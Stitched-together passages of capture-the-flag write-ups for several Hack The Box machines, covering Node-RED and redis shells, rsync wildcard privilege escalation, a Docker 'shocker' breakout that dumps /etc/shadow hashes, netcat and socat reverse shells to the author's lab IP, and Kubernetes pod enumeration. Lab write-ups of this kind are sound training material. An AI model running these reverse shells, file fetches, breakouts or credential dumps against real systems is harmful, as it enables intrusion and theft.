172.17.0.1/16 brd 172.17.255.255 scope global docker0 valid_lft forever preferred_lft forever 8: vethff25d9b@if7: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-d4a52cd704d0 state UP group default link/ether 5e:d0:0b:6f:0d:6f brd ff:ff:ff:ff:ff:ff link-netnsid 3 10: veth2f1092e@if9: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-81dc9e600be9 state UP group default link/ether 6a:7e:bc:f7:0d:2e brd ff:ff:ff:ff:ff:ff link-netnsid 3 12: veth4ff04ec@if11: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-d4a52cd704d0 state UP group default link/ether 32:d6:19:ae:75:e5 brd ff:ff:ff:ff:ff:ff link-netnsid 0 14: veth2349c18@if13: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-91c5803ee070 state UP group default link/ether 06:9f:60:e4:c1:cd brd ff:ff:ff:ff:ff:ff link-netnsid 0 16: veth3bff539@if15: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-91c5803ee070 state UP group default link/ether 9a:c4:04:69:cd:5a brd ff:ff:ff:ff:ff:ff link-netnsid 2 18: veth01eea77@if17: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-d4a52cd704d0 state UP group default link/ether d2:d8:e2:80:45:09 brd ff:ff:ff:ff:ff:ff link-netnsid 1 19: virbr0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default qlen 1000 link/ether 52:54:00:a8:fd:d5 brd ff:ff:ff:ff:ff:ff inet 192.168.122.1/24 brd 192.168.122.255 scope global virbr0 valid_lft forever preferred_lft forever 20: virbr0-nic: <BROADCAST,MULTICAST> mtu 1500 qdisc pfifo_fast master virbr0 state DOWN group default qlen 1000 link/ether 52:54:00:a8:fd:d5 brd ff:ff:ff:ff:ff:ff
what a great and complicated box!
Beyond Root
Docker Configuration
Once I have root, I like to go back and look at how things were configured. In this case, the docker configuration is interesting.
The docker configuration files are stored in /opt/reddish_composition/:
1 2 3 4 5 6 7 8
# cd /opt/reddish_composition/ # ls apache docker-compose.yml multi-nodered redis rsync www
docker-compose.yml shows how the machines are run, including the shared volume between redis and www, how the networks are laid out, and that backup is running in privileged mode (<– comments added by me):
update picture of the docker network one last time:
Node-Red Collisions
When I first visit the node red site, what’s to keep me from running into other people and their flows? And, what was with the need to issue a POST request to get the url to the site? Turns out, those are related.
The code that’s running the NodeRed instance is in /node-red/multinodered.js:
# cat /opt/reddish_composition/multi-nodered/nodered/multinodered.js var http = require('http'); var express = require("express"); var crypto = require("crypto");
var id_list = [];
function createNodeREDInstance(server, app, ip) {
var id = crypto.createHash('md5').update(ip).digest("hex");
if (id_list.indexOf(id) > -1) { console.log("Instance already running:", id); returnid; } var RED = require("./red/red.js")(); //var id = crypto.randomBytes(16).toString('hex');
console.log("Creating new instance:", id);
// Create the settings object - see default settings.js file for other options var settings = { httpAdminRoot:"/red/"+id, httpNodeRoot: "/api/"+id, userDir:"./home/"+id, functionGlobalContext: { } // enables global context };
RED.init(server, settings);
// Serve the editor UI from /red app.use(settings.httpAdminRoot, RED.httpAdmin);
// Serve the http nodes UI from /api app.use(settings.httpNodeRoot, RED.httpNode);
RED.start();
id_list.push(id);
returnid; }
// Create an Express app var app = express();
// Add a simple route for static content served from 'public' app.use("/",express.static("public"));
app.post('/', function(req,res) { var ip = (req.headers['x-forwarded-for'] || req.connection.remoteAddress || req.socket.remoteAddress || req.connection.socket.remoteAddress).split(",")[0];
var id = createNodeREDInstance(server, app, ip); res.status(200).send({"id": id, "ip": ip, 'path': "/red/{id}"}); });
// Create a server var server = http.createServer(app);
server.listen(1880);
There’s no GET for this app, which explains the error. A POST will create a new NodeRed instance and return the id, and the id is what’s sent back to us.
Inside the createNodeREDInstance() function I see the id is just a hash of our ip (which works out really nice when multiple HTB players are trying to use this at the same time):
1
var id = crypto.createHash('md5').update(ip).digest("hex");
Creating Port Forwards with Dropbear
Setup
a dummy account on my kali box (named dummy). In /etc/passwd, the shell is set to /bin/false:
1
dummy:x:1001:1001::/home/dummy:/bin/false
That makes it much harder for someone who gets ahold of the key I’m about to create to do anything useful hacking into my host. If you try to ssh into box as dummy, it just closes:
1 2 3 4 5 6 7 8 9 10 11 12
root@kali# ssh dummy@localhost dummy@localhost's password: Linux kali 4.18.0-kali3-amd64 #1 SMP Debian 4.18.20-2kali2 (2018-11-30) x86_64 The programs included with the Kali GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Thu Jan 17 06:28:18 2019 from 127.0.0.1 Connection to localhost closed.
use the -N flag to connect without a shell, and the -L, -R, -D flags to forward ports (check out Intro to SSH Tunneling for more details).
Build Dropbear
Dropbear is a statically compiled, relatively small ssh client that I will use to connect back to my kali box from nodered. I’ll grab the source from the website. I’ll copy the file to nodered using the file upload flow or the perl command to get a file over http:
1 2 3 4 5 6 7
# perl -e 'use File::Fetch; my $url = "http://10.10.14.9/dropbear-2018.76.tar.bz2"; my $ff = File::Fetch->new(uri => $url); my $file = $ff->fetch() or die $ff->error;'
# pwd /tmp
# ls dropbear-2018.76.tar.bz2
Open the archive with tar:
1 2 3 4 5 6
# tar xjvf dropbear-2018.76.tar.bz2 dropbear-2018.76/ dropbear-2018.76/termcodes.h dropbear-2018.76/dbmulti.c dropbear-2018.76/cli-runopts.c ...[snip]...
Now compile the software (the container has gcc and the minimum libraries to build this):
1 2 3 4 5 6 7 8
# cd dropbear-2018.76/ # ./configure && make checking for gcc... gcc checking whether the C compiler works... yes checking for C compiler default output file name... a.out checking for suffix of executables... checking whether we are cross compiling... no ...[snip]...
Generate Key Pair
Next generate a key pair to use with dropbearkey. It’s a simple program with only a few options. use -t rsa to make an RSA keypair, and -f .k to name the key file .k:
1 2 3 4 5
# ./dropbearkey -t rsa -f .k Generating 2048 bit rsa key, this may take a while... Public key portion is: ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCFI9K2O4PVLSLLIJw2ExqYHtPUQTrcn+GKR3BRaD8Th+5CYIPMRQF8MK29tlgjdZh5MSf5RB4tsm523hMp6879tvi0Bzc0afZ8FKfaVjTwWsG/cbNFZzi4W5PpwsLkh9vbBgXhbPfdmMdz2uLZrsmPKVKXXkg/URz9vhiQelJAL0PcysIBh3c9CkJfNzzNJ2DHxY/OugnhQlObmLfOzkucP2DtTAZjYYCpc8cByzKS7vgo8rZLscf7QrN3LLKr8SFmjSnEcqxvIC1cVOpRju3kmfJxNY4ebcod1DaQtRYXC+K2byNwf5y3z3ahhW8dWJVLEcPH0bueuRVnYk3wfrjx root@nodered Fingerprint: sha1!! 78:53:6e:77:d8:da:ef:43:a7:c8:97:de:3c:a0:c4:d4:80:7d:f3:ab
Now put this public key into the authorized key file for dummy on my kali box. While this key is in that file, anyone who has the private key (.k) can ssh into my box, so I’ll want to leave this in place only long enough to get the tunnels set up.
Create Tunnel
Now use DropBear’s dbclient to ssh back, creating a tunnel to access the web page on www:
-R 8888:172.19.0.4:80 - listen on port 8888 on my kali host, and forward and traffic to 172.19.0.4 port 80. It’s important to note that my dummy user doesn’t have the privilege necessary to listen on a low port, like 80.
Now can access the website on www:
python auto-pwn script
reference to this writeup link
awesome write up and python script, i Worship the author…
print("What shell do you want?") print("[1] root@nodered") print("[2] www-data@www") print("[3] root@www") print("[4] root@backup") print("[5] root@reddish") print("[6] Exit") response = None while response not in ["1", "2", "3", "4", "5", "6"]: response = raw_input("Please enter a number 1-6: ").strip() if response == "6": sys.exit()
root@kali:~/hackthebox/machine/reddish# python autopwnreddish.py What shell do you want? [1] root@nodered [2] www-data@www [3] root@www [4] root@backup [5] root@reddish [6] Exit Please enter a number 1-6: 1 [+] Getting our id: OK (id = c507228abb96d45d0541fd5eacebd9dd) [+] Trying to bind to 10.10.14.9 on port 60000: Done [+] Waiting for connections on 10.10.14.9:60000: Got connection from 10.10.10.94 on port 36186 [+] Loading node-red flows: OK [+] Injecting base64-encoded socat: OK [+] Injecting socat reverse shell via nodejs [10.10.14.9:60000]: OK [*] Switching to interactive mode root@nodered:/node-red# $ id uid=0(root) gid=0(root) groups=0(root) root@nodered:/node-red# $ whoami root root@nodered:/node-red# $ cd ~ root@nodered:~# $ ls root@nodered:~# $ exit exit [*] Got EOF while reading in interactive $ $ exit [*] Closed connection to 10.10.10.94 port 36186 [*] Got EOF while sending in interactive root@kali:~/hackthebox/machine/reddish# python autopwnreddish.py What shell do you want? [1] root@nodered [2] www-data@www [3] root@www [4] root@backup [5] root@reddish [6] Exit Please enter a number 1-6: 5 [+] Getting our id: OK (id = c507228abb96d45d0541fd5eacebd9dd) [+] Trying to bind to 10.10.14.9 on port 60000: Done [+] Waiting for connections on 10.10.14.9:60000: Got connection from 10.10.10.94 on port 36192 [+] Loading node-red flows: OK [+] Injecting base64-encoded socat: OK [+] Injecting socat reverse shell via nodejs [10.10.14.9:60000]: OK [+] Uploading 83df6e1b.php on the www container via redis: OK (user = www-data@www) [+] Sending perl bind shell [www-data@www:62236] via 83df6e1b.php & trying to connect: OK [+] Exploiting wildcards for privesc. Wait at most 180 secs for rsync backup job to run: OK [+] Sending a cronjob forbind shell [root@backup:65274]. Please wait: OK [+] Sending reverse shell cronjob [10.10.14.9:60001] for root@host. Please wait: OK [+] Trying to bind to 10.10.14.9 on port 60001: Done [+] Waiting for connections on 10.10.14.9:60001: Got connection from 10.10.10.94 on port 49704 [*] Switching to interactive mode root@reddish:~# $ id id uid=0(root) gid=0(root) groups=0(root) root@reddish:~# $ whoami whoami root root@reddish:~# $ hostname hostname reddish root@reddish:~# $ ls ls root.txt root@reddish:~# $ cat root.txt cat root.txt 50d0db644c8d5ff5312ef3d17c2ed205
very very powerful scripts!!!
Summary of knowledge
Code Execution and getShell in Node-Red
Network Enumeration and ping sweep
upgrade path to Meterpreter using sessions -u
compolicated port forwarding tech
error information disclosure
redis service getshell
socat port forwarding
Exploiting the Wildcard and cronjob to privesc
perl and port forwarding to download file
use port 873 rsync service and cron job to getshell and privesc
beyong root research
Dropbear Create Tunnel and get root shell
python auto-pwn script
Contact me
QQ: 1185151867
twitter: https://twitter.com/fdlucifer11
github: https://github.com/FDlucifer
I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…
OS: Linux Difficulty: Hard Points: 40 Release: 09 Apr 2022 IP: 10.10.11.155
Enumeration
NMAP
1 2 3 4 5 6 7 8
┌──(root💀kali)-[~/hackthebox/machine/talkactive] └─# nmap -sV -v -p- --min-rate=10000 10.10.11.155 PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.52 3000/tcp open ppp? 8080/tcp open http Tornado httpd 5.0 8081/tcp open http Tornado httpd 5.0 8082/tcp open http Tornado httpd 5.0
we found several web service:
Bolt CMS
jamovi 0.9.5.5
ROCKET.CHAT
initial shell
go to :8080, open RJ editor add this line excecute ruby command to get a shell. =>
┌──(root💀kali)-[~/hackthebox/machine/talkactive] └─# pwncat-cs -lp 1234 [09:52:38] Welcome to pwncat 🐈! __main__.py:164 [09:54:49] received connection from 10.10.11.155:60622 bind.py:84 [09:54:56] 0.0.0.0:1234: upgrading from /bin/dash to /bin/bash manager.py:957 [09:54:59] 10.10.11.155:60622: registered new host w/ db manager.py:957 (local) pwncat$ back (remote) www-data@ad8ae3998918:/$ ls bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var (remote) www-data@ad8ae3998918:/$ ssh saul@172.18.0.1 The authenticity of host '172.18.0.1 (172.18.0.1)' can't be established. ECDSA key fingerprint is SHA256:kUPIZ6IPcxq7Mei4nUzQI3JakxPUtkTlEejtabx4wnY. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Could not create directory '/var/www/.ssh' (Permission denied). Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts). saul@172.18.0.1's password: Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-81-generic x86_64)
$ wget https://downloads.mongodb.com/compass/mongodb-mongosh_1.3.1_amd64.deb $ dpkg -i mongodb-mongosh_1.3.1_amd64.deb ┌──(root💀kali)-[~/hackthebox/machine/talkactive] └─# mongosh "mongodb://LOCALHOST:27017" Current Mongosh Log ID: 6252e6b51f6c27d3c8cfc72a Connecting to: mongodb://LOCALHOST:27017/?directConnection=true&appName=mongosh+1.3.1 Using MongoDB: 4.0.26 Using Mongosh: 1.3.1
For mongosh info see: https://docs.mongodb.com/mongodb-shell/
------ The server generated these startup warnings when booting: 2022-04-10T12:32:16.345+0000: 2022-04-10T12:32:16.345+0000: ** WARNING: Using the XFS filesystem is strongly recommended with the WiredTiger storage engine 2022-04-10T12:32:16.345+0000: ** See http://dochub.mongodb.org/core/prodnotes-filesystem 2022-04-10T12:32:18.390+0000: 2022-04-10T12:32:18.390+0000: ** WARNING: Access control is not enabled for the database. 2022-04-10T12:32:18.390+0000: ** Read and write access to data and configuration is unrestricted. 2022-04-10T12:32:18.391+0000: ------
(local) pwncat$ upload ./a.out /root/static /root/static ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 824.1/824.1 KB • ? • 0:00:00 [10:53:06] uploaded 824.11KiB in 13.93 seconds upload.py:76 (local) pwncat$ upload ./shocker /root/shocker /root/shocker ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 17.2/17.2 KB • ? • 0:00:00 [10:53:48] uploaded 17.21KiB in 4.49 seconds upload.py:76 (local) pwncat$ upload ./shadow /root/shadow /root/shadow ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 17.2/17.2 KB • ? • 0:00:00 [10:53:57] uploaded 17.21KiB in 4.49 seconds upload.py:76 (local) pwncat$ back (remote) root@c150397ccd63:/root# chmod 777 * (remote) root@c150397ccd63:/root# ./static [***] docker VMM-container breakout Po(C) 2014 [***] [***] The tea from the 90's kicks your sekurity again. [***] [***] If you have pending sec consulting, I'll happily [***] [***] forward to my friends who drink secury-tea too! [***]
<enter>
[*] Resolving 'root/root.txt' [*] Found lib32 [*] Found .. [*] Found lost+found [*] Found sbin [*] Found bin [*] Found boot [*] Found dev [*] Found run [*] Found lib64 [*] Found . [*] Found var [*] Found home [*] Found media [*] Found proc [*] Found etc [*] Found lib [*] Found libx32 [*] Found cdrom [*] Found root [+] Match: root ino=18 [*] Brute forcing remaining 32bit. This can take a while... [*] (root) Trying: 0x00000000 [*] #=8, 1, char nh[] = {0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; [*] Resolving 'root.txt' [*] Found .. [*] Found .backup [*] Found .config [*] Found .cache [*] Found .local [*] Found .ssh [*] Found . [*] Found .profile [*] Found .bashrc [*] Found root.txt [+] Match: root.txt ino=110097 [*] Brute forcing remaining 32bit. This can take a while... [*] (root.txt) Trying: 0x00000000 [*] #=8, 1, char nh[] = {0x11, 0xae, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00}; [!] Got a final handle! [*] #=8, 1, char nh[] = {0x11, 0xae, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00}; [!] Win! /etc/shadow output follows: 99a37c0a5b01ffc4ad1204d0dd1bc884
(remote) root@c150397ccd63:/root# ./shadow [***] docker VMM-container breakout Po(C) 2014 [***] [***] The tea from the 90's kicks your sekurity again. [***] [***] If you have pending sec consulting, I'll happily [***] [***] forward to my friends who drink secury-tea too! [***]
<enter>
[*] Resolving 'etc/shadow' [*] Found lib32 [*] Found .. [*] Found lost+found [*] Found sbin [*] Found bin [*] Found boot [*] Found dev [*] Found run [*] Found lib64 [*] Found . [*] Found var [*] Found home [*] Found media [*] Found proc [*] Found etc [+] Match: etc ino=393217 [*] Brute forcing remaining 32bit. This can take a while... [*] (etc) Trying: 0x00000000 [*] #=8, 1, char nh[] = {0x01, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00}; [*] Resolving 'shadow' [*] Found modules-load.d [*] Found lsb-release [*] Found rsyslog.conf [*] Found rc6.d [*] Found calendar [*] Found fstab [*] Found shadow [+] Match: shadow ino=393228 [*] Brute forcing remaining 32bit. This can take a while... [*] (shadow) Trying: 0x00000000 [*] #=8, 1, char nh[] = {0x0c, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00}; [!] Got a final handle! [*] #=8, 1, char nh[] = {0x0c, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00}; [!] Win! /etc/shadow output follows: root:$6$9GrOpvcijuCP93rg$tkcyh.ZwH5w9AHrm66awD9nLzMHv32QqZYGiIfuLow4V1PBkY0xsKoyZnM3.AI.yGWfFLOFDSKsIR9XnKLbIY1:19066:0:99999:7::: daemon:*:18659:0:99999:7::: bin:*:18659:0:99999:7::: sys:*:18659:0:99999:7::: sync:*:18659:0:99999:7::: games:*:18659:0:99999:7::: man:*:18659:0:99999:7::: lp:*:18659:0:99999:7::: mail:*:18659:0:99999:7::: news:*:18659:0:99999:7::: uucp:*:18659:0:99999:7::: proxy:*:18659:0:99999:7::: www-data:*:18659:0:99999:7::: backup:*:18659:0:99999:7::: list:*:18659:0:99999:7::: irc:*:18659:0:99999:7::: gnats:*:18659:0:99999:7::: nobody:*:18659:0:99999:7::: systemd-network:*:18659:0:99999:7::: systemd-resolve:*:18659:0:99999:7::: systemd-timesync:*:18659:0:99999:7::: messagebus:*:18659:0:99999:7::: syslog:*:18659:0:99999:7::: _apt:*:18659:0:99999:7::: tss:*:18659:0:99999:7::: uuidd:*:18659:0:99999:7::: tcpdump:*:18659:0:99999:7::: landscape:*:18659:0:99999:7::: pollinate:*:18659:0:99999:7::: usbmux:*:18849:0:99999:7::: sshd:*:18849:0:99999:7::: systemd-coredump:!!:18849:::::: lxd:!:18849:::::: saul:$6$19rUyMaBLt7.CDGj$ik84VX1CUhhuiMHxq8hSMjKTDMxHt.ldQC15vFyupafquVyonyyb3/S6MO59tnJHP9vI5GMvbE9T4TFeeeKyg1:19058:0:99999:7:::
we see both Dynamic compilation and Static compilation file works, we are done
Summary of knowledge
RJ editor get shell
pwncat upload and download files
bolt cms get shell
chisel port forward MongoDB 27017 port
update admin’s bcrypt hash to change the password
rocket.chat rce
shocker: docker PoC VMM-container breakout to get root flag
Contact me
QQ: 1185151867
twitter: https://twitter.com/fdlucifer11
github: https://github.com/FDlucifer
I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…
原型污染与 Pod 权限
客户端流量、文件读取和 Node.js 原型污染连接执行,Kubernetes API 与 Pod 配置决定容器后的权限。原始对象、API 与 kubectl 命令完整保留。
OS: Linux Difficulty: Hard Points: 40 Release: 10 Apr 2021 IP: 10.10.10.235
information gathering
first use nmap as usaul
1 2 3 4 5 6 7 8 9 10 11
┌──(root💀kali)-[~/hackthebox/machine/unobtainium] └─# nmap -sV -v -p- --min-rate=10000 10.10.10.235 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) 2379/tcp open ssl/etcd-client? 2380/tcp open ssl/etcd-server? 8443/tcp open ssl/https-alt 10250/tcp open ssl/http Golang net/http server (Go-IPFS json-rpc or InfluxDB API) 10256/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API) 31337/tcp open http Node.js Express framework
There is a lot’s of ports open
Let’s start with port-80
Port-80
There is a simple html page.
Let’s download the .deb package, i am using kali linux
Unzip the file we got .deb package.
Let’s extract the files inside .deb package without installing them.
Inside stuff/opt/unobtainium/ there is a executable called unobtainium
Let’s run that
1 2 3 4 5 6 7 8 9
┌──(root💀kali)-[~/hackthebox/machine/unobtainium/stuff/opt/unobtainium] └─# ls chrome_100_percent.pak libEGL.so libvulkan.so resources unobtainium chrome_200_percent.pak libffmpeg.so LICENSE.electron.txt resources.pak v8_context_snapshot.bin chrome-sandbox libGLESv2.so LICENSES.chromium.html snapshot_blob.bin vk_swiftshader_icd.json icudtl.dat libvk_swiftshader.so locales swiftshader ┌──(root💀kali)-[~/hackthebox/machine/unobtainium/stuff/opt/unobtainium] └─# ./unobtainium --no-sandbox (node:2278) electron: The default of contextIsolation is deprecated and will be changing from false to truein a future release of Electron. See https://github.com/electron/electron/issues/23506 for more information
We got the error Unable to reach unobtainium.htb.
Let’s add unobtainium.htb in our /etc/hosts file.
Let’s again open the executable and this time we don’t get error.
I think this executable contact to a server so for capture the packet i use wireshark on tun0.
And i am right when i click on Todo they send a POST req to the server.
Let’s check what was capture inside this POST req.
app.listen(3000); console.log('Listening on port 3000...');
After reading the file i found nothing interesting but i am sure that it’s using react or nodejs or something like that if the server uses that so there is a file called package.json which has the list of npm packages used and we also find vulnerability for that specific packages.
request:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
POST /todo HTTP/1.1
Host: unobtainium.htb:31337
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
┌──(root💀kali)-[~/hackthebox/machine/unobtainium] └─# nc -lvp 9001 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::9001 Ncat: Listening on 0.0.0.0:9001 Ncat: Connection from 10.10.10.235. Ncat: Connection from 10.10.10.235:57654. bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell root@webapp-deployment-5d764566f4-h5zhw:/usr/src/app# id id uid=0(root) gid=0(root) groups=0(root) root@webapp-deployment-5d764566f4-h5zhw:/usr/src/app# whoami whoami root
Boom we got the shell.
First Let’s get our user.txt inside /root/.
1 2 3 4 5 6
root@webapp-deployment-5d764566f4-h5zhw:~# ls ls user.txt root@webapp-deployment-5d764566f4-h5zhw:~# cat user.txt cat user.txt a6649836e48c4a2fef53804d75c1c1f3
Privilege escalation
And if you notice we are root i think it’s a docker container.
Anyway let’s run linpeas.
there is a cronjob running that removes kubectl in the container every minute.
But there is no kubectl executable in the container.
Let’s download a kubectl executable and transfer it in docker inside /tmp folder.
Install and Set Up kubectl on Linux
1 2 3 4 5 6 7 8 9 10 11 12 13
┌──(root💀kali)-[~/hackthebox/machine/unobtainium] └─# curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl" % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 154 100 154 0 0 107 0 0:00:01 0:00:01 --:--:-- 107 100 44.2M 100 44.2M 0 0 2972k 0 0:00:15 0:00:15 --:--:-- 3193k ┌──(root💀kali)-[~/hackthebox/machine/unobtainium] └─# ls Exploit.sh kubectl message.json unobtainium_1.0.0_amd64.deb unobtainium_debian.zip exploit_stage2.sh luci.sh stuff unobtainium_1.0.0_amd64.deb.md5sum ┌──(root💀kali)-[~/hackthebox/machine/unobtainium] └─# python -m SimpleHTTPServer Serving HTTP on 0.0.0.0 port 8000 ...
We change the name of kubectl to xkubectl to avoid being removed by the cron job.
root@webapp-deployment-5d764566f4-h5zhw:/tmp# ./xkubectl version --short ./xkubectl version --short Client Version: v1.21.0 Server Version: v1.20.0
Now let’s see current rights with kubectl with privileged resources like secrets.
1 2 3
root@webapp-deployment-5d764566f4-h5zhw:/tmp# ./xkubectl auth can-i list secrets <66f4-h5zhw:/tmp# ./xkubectl auth can-i list secrets no
let’s check about namespaces.
1 2 3 4
root@webapp-deployment-5d764566f4-h5zhw:/tmp# ./xkubectl auth can-i list namespaces <4-h5zhw:/tmp# ./xkubectl auth can-i list namespaces Warning: resource 'namespaces' is not namespace scoped yes
Let’s list all the namespaces.
1 2 3 4 5 6 7 8
root@webapp-deployment-5d764566f4-h5zhw:/tmp# ./xkubectl get namespace ./xkubectl get namespace NAME STATUS AGE default Active 96d dev Active 95d kube-node-lease Active 96d kube-public Active 96d kube-system Active 96d
1 2 3 4 5 6
root@webapp-deployment-5d764566f4-h5zhw:/tmp# ./xkubectl auth can-i list secrets -n dev <zhw:/tmp# ./xkubectl auth can-i list secrets -n dev no root@webapp-deployment-5d764566f4-h5zhw:/tmp# ./xkubectl auth can-i list secrets -n kube-system <# ./xkubectl auth can-i list secrets -n kube-system no
We don’t have permission of any namespaces.
Let’s check if we have permission of pods or not in the dev namespaces.
1 2 3 4 5 6 7 8 9
root@webapp-deployment-5d764566f4-h5zhw:/tmp# ./xkubectl auth can-i list pods -n dev <-h5zhw:/tmp# ./xkubectl auth can-i list pods -n dev yes root@webapp-deployment-5d764566f4-h5zhw:/tmp# ./xkubectl get pods -n dev NAME READY STATUS RESTARTS AGE devnode-deployment-cd86fb5c-6ms8d 1/1 Running 28 95d devnode-deployment-cd86fb5c-mvrfz 1/1 Running 29 95d devnode-deployment-cd86fb5c-qlxww 1/1 Running 29 95d
Pods
A Kubernetes cluster can have one or more nodes. Each node can have one or more Pods. Each Pod can have one or more running containers.
And we see in the previous command there is three Pods each with a running container in the dev namespace.
root@webapp-deployment-5d764566f4-h5zhw:/tmp# .//xkubectl describe pod/devnode-deployment-cd86fb5c-6ms8d -n dev <scribe pod/devnode-deployment-cd86fb5c-6ms8d -n dev Name: devnode-deployment-cd86fb5c-6ms8d Namespace: dev Priority: 0 Node: unobtainium/10.10.10.235 Start Time: Sun, 17 Jan 2021 18:16:21 +0000 Labels: app=devnode pod-template-hash=cd86fb5c Annotations: <none> Status: Running IP: 172.17.0.5 IPs: IP: 172.17.0.5 Controlled By: ReplicaSet/devnode-deployment-cd86fb5c Containers: devnode: Container ID: docker://bf852df0b8a7e049a21983112b178bfd65a3e27180c7463b441a7de2aeb1aedb Image: localhost:5000/node_server Image ID: docker-pullable://localhost:5000/node_server@sha256:f3bfd2fc13c7377a380e018279c6e9b647082ca590600672ff787e1bb918e37c Port: 3000/TCP Host Port: 0/TCP State: Running Started: Thu, 22 Apr 2021 19:28:37 +0000 Last State: Terminated Reason: Error Exit Code: 137 Started: Wed, 24 Mar 2021 16:01:28 +0000 Finished: Wed, 24 Mar 2021 16:02:13 +0000 Ready: True Restart Count: 28 Environment: <none> Mounts: /var/run/secrets/kubernetes.io/serviceaccount from default-token-rmcd6 (ro) Conditions: Type Status Initialized True Ready True ContainersReady True PodScheduled True Volumes: default-token-rmcd6: Type: Secret (a volume populated by a Secret) SecretName: default-token-rmcd6 Optional: false QoS Class: BestEffort Node-Selectors: <none> Tolerations: node.kubernetes.io/not-ready:NoExecute op=Exists for 300s node.kubernetes.io/unreachable:NoExecute op=Exists for 300s Events: <none>
If you notice the difference i am in a webapp-deployment container enumerating devnode-deployment containers in Pods running in the dev namespace.
We are looking at two different environments, the classic production environment and the development environment. I should be able to repeat the steps i just have to make the RHOST and RPORT variables and upload them to the container I’m currently in above to get another foothold in the development environment.
For that we need to forward the port to the devnode-deployment container “172.17.0.5:3000”
I am using Chisel for that.
If you don’t known how to use chisel or how to download it check this out.
chisel
First i run chisel in my kali linux to open a server.
┌──(root💀kali)-[~] └─# nc -lvp 9002 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::9002 Ncat: Listening on 0.0.0.0:9002 Ncat: Connection from 10.10.10.235. Ncat: Connection from 10.10.10.235:48266. bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell root@devnode-deployment-cd86fb5c-6ms8d:/usr/src/app# id id uid=0(root) gid=0(root) groups=0(root) root@devnode-deployment-cd86fb5c-6ms8d:/usr/src/app# whoami whoami root
Boom we got the shell as devnode-deployment.
Now again tranfer the kubectl executable in the box and check if we list secrets now.
